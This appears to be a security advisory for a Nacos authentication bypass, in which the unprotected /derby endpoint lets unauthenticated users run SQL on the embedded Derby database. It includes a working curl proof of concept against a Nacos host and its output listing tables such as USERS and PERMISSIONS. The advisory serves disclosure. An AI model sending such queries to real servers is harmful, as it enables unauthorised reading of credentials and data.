Authentication bypass for specific endpoint
The ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users.
For example, the following request will list the tables of the database:
❯ curl -X GET 'http://console.nacos.io/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st'
{"code":200,"message":null,"data":[{"TABLENAME":"APP_CONFIGDATA_RELATION_PUBS"},{"TABLENAME":"APP_CONFIGDATA_RELATION_SUBS"},{"TABLENAME":"APP_LIST"},{"TABLENAME":"CONFIG_INFO"},{"TABLENAME":"CONFIG_INFO_AGGR"},{"TABLENAME":"CONFIG_INFO_BETA"},{"TABLENAME":"CONFIG_INFO_TAG"},{"TABLENAME":"CONFIG_TAGS_RELATION"},{"TABLENAME":"GROUP_CAPACITY"},{"TABLENAME":"HIS_CONFIG_INFO"},{"TABLENAME":"PERMISSIONS"},{"TABLENAME":"ROLES"},{"TABLENAME":"SYSALIASES"},{"TABLENAME":"SYSCHECKS"},{"TABLENAME":"SYSCOLPERMS"},{"TABLENAME":"SYSCOLUMNS"},{"TABLENAME":"SYSCONGLOMERATES"},{"TABLENAME":"SYSCONSTRAINTS"},{"TABLENAME":"SYSDEPENDS"},{"TABLENAME":"SYSDUMMY1"},{"TABLENAME":"SYSFILES"},{"TABLENAME":"SYSFOREIGNKEYS"},{"TABLENAME":"SYSKEYS"},{"TABLENAME":"SYSPERMS"},{"TABLENAME":"SYSROLES"},{"TABLENAME":"SYSROUTINEPERMS"},{"TABLENAME":"SYSSCHEMAS"},{"TABLENAME":"SYSSEQUENCES"},{"TABLENAME":"SYSSTATEMENTS"},{"TABLENAME":"SYSSTATISTICS"},{"TABLENAME":"SYSTABLEPERMS"},{"TABLENAME":"SYSTABLES"},{"TABLENAME":"SYSTRIGGERS"},{"TABLENAME":"SYSUSERS"},{"TABLENAME":"SYSVIEWS"},{"TABLENAME":"TENANT_CAPACITY"},{"TABLENAME":"TENANT_INFO"},{"TABLENAME":"USERS"}]}%These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)
